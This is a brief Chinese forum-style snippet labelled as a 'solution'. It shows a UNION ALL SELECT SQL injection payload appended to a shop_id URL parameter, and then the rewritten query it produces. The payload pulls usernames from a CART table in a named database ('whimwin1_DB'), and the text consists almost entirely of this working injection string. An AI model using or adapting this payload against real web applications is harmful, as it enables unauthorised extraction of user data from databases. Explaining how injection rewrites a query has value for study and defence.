[解决办法] 3&shop_id=999999.9 union all select (select concat(0x7e,0x27,CART.username,0x27,0x7e) from `whimwin1_DB`.CART Order by ip_address limit 40,1) --
select * from xxx where id=3 and shop_id 9999.9 变成了:
select * from xxx where id=3 and shop_id 9999.9 union all select (select concat(0x7e,0x27,CART.username,0x27,0x7e) from `whimwin1_DB`.CART Order by ip_address limit 40,1) --